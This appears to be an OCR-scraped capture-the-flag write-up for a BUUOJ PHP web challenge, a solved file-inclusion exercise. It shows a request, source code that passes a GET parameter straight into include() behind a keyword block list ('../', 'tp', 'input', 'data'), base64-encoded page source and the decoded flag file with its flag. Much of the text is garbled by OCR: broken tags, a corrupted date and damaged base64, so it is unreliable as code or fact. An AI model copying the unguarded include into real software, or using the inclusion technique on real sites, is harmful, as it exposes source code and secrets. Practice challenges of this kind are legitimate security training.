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BET saction.php HTTP/1.1

Host: c2b57flc-3168-4477-93b1-70c6FB0dFT5b. node3. buuoj . cn

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.90
Accept: text/html, application/xhtml+xml application/xml;q=0.9,%/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://c2b57f1c-3168-4477-93b1-708c6f00df75b_noded_buuoj . cn/Archive_room._php
Connection: close

Upgrade-Insecure-Requests: 1
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<html>
{title>secret</title>
{meta charset="UTF-8">

{?php

highlight file(_ FILE ):

error_reporting(0) ;

$file=$_GET[ file’ ];

if (strstr($file, ”.. /") | stristr($file,
echo “0Oh no!”;
exit();

}

include ($file) ;

flagfit/f | flag. php!l

rd
</html>
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tp”)

HTTP/1.1 302 Found

Server: openresty

Date: Thu, 95 Nov 2020 10:47:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 63

Connection: close

Location: end php

X-Powered-By: PHP/7.3.11
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<!DOCTYPE html>

<html>
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</htal>
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stristr($file, “input”) stristr($file, “data”)) {



& WA —flag.php

110 B 1 A 14

St —F, e

file= _GET[file’];/ /% getf it —MileZ %

) . . . . . . « 99
if(strstr(file,”../”)||stristr( file, “tp”)|[stristr( £5le " input”)|| stristr( file, “data”)){
echo “Oh no!”;

exit();

}
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include ($file) ;
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</html>
PCFETONUWVBFIGhObWw +Cgo8aHRtbDAKCiAgICA8aGVhZD4KICAgICAGICABLWVOYSBjaGFyc2VOPS)1dGYtOCI+CiAgICAgICAgPHRpdGxIPkZMQUeBL3RpdGxIPgogl CAgPC



PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWVOYSBjaGFyc2VOPSJ1dGYtIOCHCIiAgIC
AgICAgPHRpdGxIPkZMQUCc8L3RpdGxIPgogICAgPC90ZWFkPgoKICAgIDxib2R5IHNOe WxXIPSJiYWNrZ3JvdW5KkLWNvbG9yOm
JsYWNrOyHPGJyPjxicj48YnH+PGJyPjxicj48Ynl+CiAgICAgICAgCiAgICAgICAgP GgxIHNOeWXIPSJmb250LWZhbWIise Tp2ZXJkY
W5hO2NvbG9yOnJIZDt0ZXhOLWFsaWduOmNIbnRIcjsiPuWViuWTiO+8geS900aJvuWIsOalkeS6hu+8geWPr+aYr+S9o00eci+S4
jeWIsOalkVFBUX5+fjwvaDE+PGJyPjxicj48Ynl+CiAgICAgICAgCIAgICAgICAgPHAgc3R5bGUIIMZvbnQtZmFtaWx50mFyaWFs
O2NvbG9yOnJIZDtmb250LXNpemU6MjBweDt0ZXhOLWFsaWduOmNIbnRIcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgIC
AgICAgICAgZWNobyAi50iR5bCx5Zyo6L +26 YeMIjsKICAgICAgICAgICAGICAgICRMbGFNnID0gJ2ZsYWd7ZGFhNzY2N2UtNDZmZ
SO00ODRKLWEOZTQtODk5ZDNINGE 1MDVjfSc7CiAgICAgICAgICAGICAGICAkec2VijcmVO0ID0gJ2ppQW5nX0x1eXVhbl93NG50c
19hX2cxcklmemkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPCOwWPgogICAgPC9ib2R5PgoKPC90dG1sPgo=
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<IDOCTYPE html=
<html=

<head=
<meta charset="utf-8">
<title=FLAG=/title>

</head>

<body style="background-color black;"><br=<br=<br=<br=<br><br=

<h1 style="font-family:verdana;color:red;text-align:center;"~1ng !
{REFET! aTRRETFIFERQAQ~~~</h1=<br><br=<br=

<p style="font-family-arial.color red;font-size 20px; text-
align-center;">
<?php
echo "EIEXE"
$flag = 'flag{daa7667e-46fe-484d-ade4-899d3b4a505c});
$secret = "jiAng_Luyuan_w4nts_a_g1rlfri3nd’
?=
</p=
</body=

</html=
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BASE64:

PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCIAgICABaGVhZDAKICA
glICAgICA8bWVOYSBjaGFyc2VOPSJ1dGYtOCI+CiAgICAgICAgPHRpP
dGxIPKZMQUc8L3RpdGxIPgogl CAgPC90ZWFKkPgoKICAgIDxib2R5IH
NOeWxIPSJIYWNrZ3JvdWSkLWNvbGIyOmdJsYWNrOyl+PGJyPjxicj48
Ynl+PGJyPjxicj48Ynl+CiAgICAgICAgCIAgICAgICAgPGgxIHNOeWxIP
SJmb250LWZhbWIseTp2ZXJkYW5hO2NvbG9yOnJIZDtOZXhOLWFsa
WduOmNIbnRIcjsIPuWViuWTIO+8geS900alvuWisOalkeS6hu+8geW
Pr+aYr+S900eci+S4jeWIsOalkVFBUX5+fjwvaDE+PGJyPjxicj48Ynl+C
iAgICAgICAgCIAgICAgICAgPHAGC3R5bGUIIMZvbnQtZmFtaWx50m
FyaWFsO2NvbG9yOnJIZDtmb250L XNpemUGMjBweDt0ZXhOLWFsa
‘WduOmNIbnRIcjsiPgoglCAgICAgICAgICASP3BocAogICAgICAGICAGI
CAgICAgZWNobyAiS0iR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAg!
CAgICRmbGFnID0gJ2ZsYWd7ZGFhNzY2N2UINDZmZS000DRKLWE
0ZTQtODk5ZDNINGE1MDV|fSc7CIAgICAgICAgICAgICAgICAke2Vicm
V0ID0gJ2ppQW5nX0x1eXVhbI93NG50c19hX2cxckimemkzbmQnCiAgl
CAgICAgICAgID8+CiAgICAgICAgPCIwPgoglCAgPCYib2R5PgoKPCS
odG1sPgo=
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